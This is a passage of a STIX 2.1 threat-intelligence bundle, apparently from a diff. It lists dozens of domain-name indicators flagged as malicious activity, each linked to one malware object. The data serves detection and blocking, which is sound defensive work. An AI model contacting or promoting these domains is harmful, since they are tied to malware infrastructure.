"relationship--ec829d64-4d02-49bf-a35f-dcad0b66ce9d", + "created": "2023-03-29T12:58:44.816755Z", + "modified": "2023-03-29T12:58:44.816755Z", + "relationship_type": "indicates", + "source_ref": "indicator--39ef7529-fef8-4192-860e-c8b1cddd1ffe", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--73ce78d1-f6c0-4de9-964d-38db23ddb065", + "created": "2023-03-29T12:58:44.816925Z", + "modified": "2023-03-29T12:58:44.816925Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fastship3.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.816925Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--de6fe244-d6dd-4376-a4cb-886549084d07", + "created": "2023-03-29T12:58:44.81751Z", + "modified": "2023-03-29T12:58:44.81751Z", + "relationship_type": "indicates", + "source_ref": "indicator--73ce78d1-f6c0-4de9-964d-38db23ddb065", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5a1dcd41-6ac5-4a8c-8fe4-4b05514b683b", + "created": "2023-03-29T12:58:44.817684Z", + "modified": "2023-03-29T12:58:44.817684Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='larkhypnotize.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.817684Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7032372e-722c-443a-a99d-2871f3111261", + "created": "2023-03-29T12:58:44.818276Z", + "modified": "2023-03-29T12:58:44.818276Z", + "relationship_type": "indicates", + "source_ref": "indicator--5a1dcd41-6ac5-4a8c-8fe4-4b05514b683b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b6855c2d-dd65-4ae9-a726-1a5ead4ecddd", + "created": "2023-03-29T12:58:44.818443Z", + "modified": "2023-03-29T12:58:44.818443Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='banishheap.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.818443Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a1ed505c-9b91-4056-85a1-994f32de97e6", + "created": "2023-03-29T12:58:44.819028Z", + "modified": "2023-03-29T12:58:44.819028Z", + "relationship_type": "indicates", + "source_ref": "indicator--b6855c2d-dd65-4ae9-a726-1a5ead4ecddd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5663e7c1-a2ff-48ac-bdc7-d53338e1debc", + "created": "2023-03-29T12:58:44.819197Z", + "modified": "2023-03-29T12:58:44.819197Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='immortalream.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.819197Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b8d9531e-8367-4002-8226-1d276fb1d50e", + "created": "2023-03-29T12:58:44.819788Z", + "modified": "2023-03-29T12:58:44.819788Z", + "relationship_type": "indicates", + "source_ref": "indicator--5663e7c1-a2ff-48ac-bdc7-d53338e1debc", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3ede2847-daa0-44ab-98ca-81c85d75eb78", + "created": "2023-03-29T12:58:44.819955Z", + "modified": "2023-03-29T12:58:44.819955Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='carveribcage.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.819955Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f4bb069d-f6e7-4eae-87c2-5582748f08e8", + "created": "2023-03-29T12:58:44.820549Z", + "modified": "2023-03-29T12:58:44.820549Z", + "relationship_type": "indicates", + "source_ref": "indicator--3ede2847-daa0-44ab-98ca-81c85d75eb78", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7872873b-e6e8-4a7a-b9b2-81a986da6548", + "created": "2023-03-29T12:58:44.820717Z", + "modified": "2023-03-29T12:58:44.820717Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='riflingpremiere.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.820717Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--374c20f6-8ef3-41cf-aa64-7dd50ad18311", + "created": "2023-03-29T12:58:44.821318Z", + "modified": "2023-03-29T12:58:44.821318Z", + "relationship_type": "indicates", + "source_ref": "indicator--7872873b-e6e8-4a7a-b9b2-81a986da6548", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--69b817e1-702a-4a59-94a7-fab36f3ed0f9", + "created": "2023-03-29T12:58:44.82149Z", + "modified": "2023-03-29T12:58:44.82149Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ognigiorno.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.82149Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a65690df-08c9-4100-967c-b517bcab79b6", + "created": "2023-03-29T12:58:44.822085Z", + "modified": "2023-03-29T12:58:44.822085Z", + "relationship_type": "indicates", + "source_ref": "indicator--69b817e1-702a-4a59-94a7-fab36f3ed0f9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5397a575-e62d-4d09-9d6a-1af30d32e4f0", + "created": "2023-03-29T12:58:44.822252Z", + "modified": "2023-03-29T12:58:44.822252Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='splurgehaziness.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.822252Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--aacc3335-2aad-4225-bad5-e32a0ffe1dba", + "created": "2023-03-29T12:58:44.822961Z", + "modified": "2023-03-29T12:58:44.822961Z", + "relationship_type": "indicates", + "source_ref": "indicator--5397a575-e62d-4d09-9d6a-1af30d32e4f0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c05fd61e-46bd-4f07-8fc3-95c374cf4e9b", + "created": "2023-03-29T12:58:44.823133Z", + "modified": "2023-03-29T12:58:44.823133Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='attemptbonus.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.823133Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--103035ee-025d-4e6b-be5f-60f909a7c08f", + "created": "2023-03-29T12:58:44.823721Z", + "modified": "2023-03-29T12:58:44.823721Z", + "relationship_type": "indicates", + "source_ref": "indicator--c05fd61e-46bd-4f07-8fc3-95c374cf4e9b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--607e9ce5-6646-4ea8-8865-5fd197410308", + "created": "2023-03-29T12:58:44.823891Z", + "modified": "2023-03-29T12:58:44.823891Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tengailresto.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.823891Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c105b826-8eca-4d28-9b86-893f0f481b2e", + "created": "2023-03-29T12:58:44.824479Z", + "modified": "2023-03-29T12:58:44.824479Z", + "relationship_type": "indicates", + "source_ref": "indicator--607e9ce5-6646-4ea8-8865-5fd197410308", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fb8f9488-ca2d-440f-8f4f-2d1175938160", + "created": "2023-03-29T12:58:44.824647Z", + "modified": "2023-03-29T12:58:44.824647Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='makelifetwo.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.824647Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1c83e742-14b5-4b4e-85da-d0cbb02b8996", + "created": "2023-03-29T12:58:44.825233Z", + "modified": "2023-03-29T12:58:44.825233Z", + "relationship_type": "indicates", + "source_ref": "indicator--fb8f9488-ca2d-440f-8f4f-2d1175938160", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c7fb22a1-2765-41f1-aaea-a9e9e127e99f", + "created": "2023-03-29T12:58:44.825401Z", + "modified": "2023-03-29T12:58:44.825401Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='remnantpossibly.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.825401Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6598b77c-1ea2-43c8-9092-c24aaa202ac8", + "created": "2023-03-29T12:58:44.826006Z", + "modified": "2023-03-29T12:58:44.826006Z", + "relationship_type": "indicates", + "source_ref": "indicator--c7fb22a1-2765-41f1-aaea-a9e9e127e99f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f4e1fd7f-24cf-42e8-b676-60d0320c524e", + "created": "2023-03-29T12:58:44.826175Z", + "modified": "2023-03-29T12:58:44.826175Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unclipenvoy.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.826175Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--51d6d5e1-5b78-46a3-bbfd-233b9381a810", + "created": "2023-03-29T12:58:44.826773Z", + "modified": "2023-03-29T12:58:44.826773Z", + "relationship_type": "indicates", + "source_ref": "indicator--f4e1fd7f-24cf-42e8-b676-60d0320c524e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5a9c7c0a-f3f3-41a1-b123-0bd7cf124101", + "created": "2023-03-29T12:58:44.82694Z", + "modified": "2023-03-29T12:58:44.82694Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='twilightexpert.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.82694Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3b2f90e8-1c8a-4cd0-852d-e7a7249b50bf", + "created": "2023-03-29T12:58:44.827539Z", + "modified": "2023-03-29T12:58:44.827539Z", + "relationship_type": "indicates", + "source_ref": "indicator--5a9c7c0a-f3f3-41a1-b123-0bd7cf124101", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1649623c-1a54-4337-9b8b-9ddc466982a5", + "created": "2023-03-29T12:58:44.827707Z", + "modified": "2023-03-29T12:58:44.827707Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='debateluncheon.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.827707Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ed63139b-33a6-4802-896b-b170f8a36a16", + "created": "2023-03-29T12:58:44.828295Z", + "modified": "2023-03-29T12:58:44.828295Z", + "relationship_type": "indicates", + "source_ref": "indicator--1649623c-1a54-4337-9b8b-9ddc466982a5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6465216c-f0bd-4352-b43b-84c19e1aaf78", + "created": "2023-03-29T12:58:44.828465Z", + "modified": "2023-03-29T12:58:44.828465Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='swungzestfully.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.828465Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8a85c322-3919-445d-9396-049d61f68f7c", + "created": "2023-03-29T12:58:44.829056Z", + "modified": "2023-03-29T12:58:44.829056Z", + "relationship_type": "indicates", + "source_ref": "indicator--6465216c-f0bd-4352-b43b-84c19e1aaf78", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--02860590-ae8f-4c1e-be2a-bc648e4a8570", + "created": "2023-03-29T12:58:44.829222Z", + "modified": "2023-03-29T12:58:44.829222Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lateout.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.829222Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--acbcfb3a-4900-4ce0-9e50-21d14285dda1", + "created": "2023-03-29T12:58:44.829923Z", + "modified": "2023-03-29T12:58:44.829923Z", + "relationship_type": "indicates", + "source_ref": "indicator--02860590-ae8f-4c1e-be2a-bc648e4a8570", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1ecbc32a-7439-4ab1-80d9-a88d57ffdf91", + "created": "2023-03-29T12:58:44.830095Z", + "modified": "2023-03-29T12:58:44.830095Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='namecharcoal.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.830095Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--80b69a17-daca-443a-896f-3998b0c155b6", + "created": "2023-03-29T12:58:44.830686Z", + "modified": "2023-03-29T12:58:44.830686Z", + "relationship_type": "indicates", + "source_ref": "indicator--1ecbc32a-7439-4ab1-80d9-a88d57ffdf91", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0bd25cdf-4f32-4b31-960a-d287a759d951", + "created": "2023-03-29T12:58:44.830853Z", + "modified": "2023-03-29T12:58:44.830853Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='skippersureness.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.830853Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--32d9d5ad-b2ce-4e2d-94a3-5a681e95f503", + "created": "2023-03-29T12:58:44.831449Z", + "modified": "2023-03-29T12:58:44.831449Z", + "relationship_type": "indicates", + "source_ref": "indicator--0bd25cdf-4f32-4b31-960a-d287a759d951", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9b6107ab-4d31-4599-973d-047508c2e4b1", + "created": "2023-03-29T12:58:44.831617Z", + "modified": "2023-03-29T12:58:44.831617Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='zeppelinextrude.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.831617Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--30109eca-8860-44c2-90f6-e87454afb5f9", + "created": "2023-03-29T12:58:44.832215Z", + "modified": "2023-03-29T12:58:44.832215Z", + "relationship_type": "indicates", + "source_ref": "indicator--9b6107ab-4d31-4599-973d-047508c2e4b1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a4f7d4a8-dd6c-4344-821a-77b8637e3731", + "created": "2023-03-29T12:58:44.832383Z", + "modified": "2023-03-29T12:58:44.832383Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='iphonesnagged.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.832383Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--61155c7f-fb4e-4f9f-8547-1af50de60908", + "created": "2023-03-29T12:58:44.832971Z", + "modified": "2023-03-29T12:58:44.832971Z", + "relationship_type": "indicates", + "source_ref": "indicator--a4f7d4a8-dd6c-4344-821a-77b8637e3731", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b46eb814-25d8-4d5e-aee4-f446afa75190", + "created": "2023-03-29T12:58:44.833139Z", + "modified": "2023-03-29T12:58:44.833139Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fadedcrowns.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.833139Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8b97c436-a474-45e4-b5f1-58acf253521d", + "created": "2023-03-29T12:58:44.833734Z", + "modified": "2023-03-29T12:58:44.833734Z", + "relationship_type": "indicates", + "source_ref": "indicator--b46eb814-25d8-4d5e-aee4-f446afa75190", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--03f40bc0-403c-40ec-a94d-a14c10050e40", + "created": "2023-03-29T12:58:44.833907Z", + "modified": "2023-03-29T12:58:44.833907Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vitaminsportside.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.833907Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8d066327-650a-4ad4-9dc1-ca87a6fe0629", + "created": "2023-03-29T12:58:44.834502Z", + "modified": "2023-03-29T12:58:44.834502Z", + "relationship_type": "indicates", + "source_ref": "indicator--03f40bc0-403c-40ec-a94d-a14c10050e40", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9d8a2365-b0aa-4cae-bf9e-74a95d921935", + "created": "2023-03-29T12:58:44.83467Z", + "modified": "2023-03-29T12:58:44.83467Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='onecaryear.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.83467Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f8b844d3-fc40-4fad-9b59-ef10ee8cc9a5", + "created": "2023-03-29T12:58:44.83526Z", + "modified": "2023-03-29T12:58:44.83526Z", + "relationship_type": "indicates", + "source_ref": "indicator--9d8a2365-b0aa-4cae-bf9e-74a95d921935", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bc77e5b0-9616-48d2-b092-e8b62f09e63c", + "created": "2023-03-29T12:58:44.835428Z", + "modified": "2023-03-29T12:58:44.835428Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='proofreadkisser.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.835428Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b7d41149-56e6-438b-8f8d-1e58be6df63f", + "created": "2023-03-29T12:58:44.836028Z", + "modified": "2023-03-29T12:58:44.836028Z", + "relationship_type": "indicates", + "source_ref": "indicator--bc77e5b0-9616-48d2-b092-e8b62f09e63c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d7bc6465-2fca-41d5-bb37-c0156f1920f5", + "created": "2023-03-29T12:58:44.836195Z", + "modified": "2023-03-29T12:58:44.836195Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='frivolouseastward.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.836195Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--15ba43dc-583f-496e-8b26-7cf57e0c2ccb", + "created": "2023-03-29T12:58:44.836903Z", + "modified": "2023-03-29T12:58:44.836903Z", + "relationship_type": "indicates", + "source_ref": "indicator--d7bc6465-2fca-41d5-bb37-c0156f1920f5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fc8dd745-736d-4ec8-b6bf-b9fad7ca9d15", + "created": "2023-03-29T12:58:44.837076Z", + "modified": "2023-03-29T12:58:44.837076Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ravishingnickname.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.837076Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--766e9811-40f4-44dd-a6fc-ae302c4bb20c", + "created": "2023-03-29T12:58:44.837694Z", + "modified": "2023-03-29T12:58:44.837694Z", + "relationship_type": "indicates", + "source_ref": "indicator--fc8dd745-736d-4ec8-b6bf-b9fad7ca9d15", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1fd9b182-736d-4497-9a62-a12ea51fe922", + "created": "2023-03-29T12:58:44.837864Z", + "modified": "2023-03-29T12:58:44.837864Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='onshorecarmaker.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.837864Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f391bb57-59c9-40f1-99ad-54f3db773c85", + "created": "2023-03-29T12:58:44.83846Z", + "modified": "2023-03-29T12:58:44.83846Z", + "relationship_type": "indicates", + "source_ref": "indicator--1fd9b182-736d-4497-9a62-a12ea51fe922", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--76468a85-361b-4a49-937c-b3f7333b8113", + "created": "2023-03-29T12:58:44.838628Z", + "modified": "2023-03-29T12:58:44.838628Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='boogiemanbotch.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.838628Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f95e9e2f-c434-4a36-baa3-f034ce587d6d", + "created": "2023-03-29T12:58:44.839219Z", + "modified": "2023-03-29T12:58:44.839219Z", + "relationship_type": "indicates", + "source_ref": "indicator--76468a85-361b-4a49-937c-b3f7333b8113", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bf6b53bc-3b24-4deb-bc99-0668d6038788", + "created": "2023-03-29T12:58:44.839387Z", + "modified": "2023-03-29T12:58:44.839387Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='crawlersopal.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.839387Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--770827f2-35f4-4714-a61a-cc0859d99a5c", + "created": "2023-03-29T12:58:44.839981Z", + "modified": "2023-03-29T12:58:44.839981Z", + "relationship_type": "indicates", + "source_ref": "indicator--bf6b53bc-3b24-4deb-bc99-0668d6038788", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--39ebeea2-2b43-45f0-ad76-cecb83156dca", + "created": "2023-03-29T12:58:44.84015Z", + "modified": "2023-03-29T12:58:44.84015Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pikirn-rakyat.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.84015Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--213a953d-9902-4732-ad19-8647adf705b7", + "created": "2023-03-29T12:58:44.840741Z", + "modified": "2023-03-29T12:58:44.840741Z", + "relationship_type": "indicates", + "source_ref": "indicator--39ebeea2-2b43-45f0-ad76-cecb83156dca", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--66316272-43d0-45af-933e-39597092f2d6", + "created": "2023-03-29T12:58:44.840914Z", + "modified": "2023-03-29T12:58:44.840914Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='treestumps.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.840914Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a9888204-69be-4313-b3b1-b9b9f35859a6", + "created": "2023-03-29T12:58:44.841505Z", + "modified": "2023-03-29T12:58:44.841505Z", + "relationship_type": "indicates", + "source_ref": "indicator--66316272-43d0-45af-933e-39597092f2d6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5d84c58f-a18b-49d7-809b-e26bb714f8a8", + "created": "2023-03-29T12:58:44.841678Z", + "modified": "2023-03-29T12:58:44.841678Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='spyglasswomanhood.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.841678Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ea13415d-bfec-4f71-89e3-c1c8a264ac97", + "created": "2023-03-29T12:58:44.842277Z", + "modified": "2023-03-29T12:58:44.842277Z", + "relationship_type": "indicates", + "source_ref": "indicator--5d84c58f-a18b-49d7-809b-e26bb714f8a8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ccd29f19-9283-434a-85b7-d347bd5b8bf2", + "created": "2023-03-29T12:58:44.842448Z", + "modified": "2023-03-29T12:58:44.842448Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rakecork.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.842448Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2058323f-eb3e-40d0-beef-387fd4bcbfe0", + "created": "2023-03-29T12:58:44.843036Z", + "modified": "2023-03-29T12:58:44.843036Z", + "relationship_type": "indicates", + "source_ref": "indicator--ccd29f19-9283-434a-85b7-d347bd5b8bf2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6d3d8fde-351c-4882-8cff-531f1ab81361", + "created": "2023-03-29T12:58:44.843204Z", + "modified": "2023-03-29T12:58:44.843204Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mashedmanor.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.843204Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--33a77329-b8fc-4092-a34d-0f29fd7b8e4e", + "created": "2023-03-29T12:58:44.84391Z", + "modified": "2023-03-29T12:58:44.84391Z", + "relationship_type": "indicates", + "source_ref": "indicator--6d3d8fde-351c-4882-8cff-531f1ab81361", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cfeb527b-a7a6-42fd-bcb8-83c6fca4a11d", + "created": "2023-03-29T12:58:44.844087Z", + "modified": "2023-03-29T12:58:44.844087Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='uninvitedduct.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.844087Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8d61bffa-3e47-47ae-8fd8-8c01e1348416", + "created": "2023-03-29T12:58:44.844681Z", + "modified": "2023-03-29T12:58:44.844681Z", + "relationship_type": "indicates", + "source_ref": "indicator--cfeb527b-a7a6-42fd-bcb8-83c6fca4a11d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--973d2d37-bfa0-41c0-8d9a-d25fa03b1ad9", + "created": "2023-03-29T12:58:44.844849Z", + "modified": "2023-03-29T12:58:44.844849Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='viabilitydriver.com']", + "pattern_type": 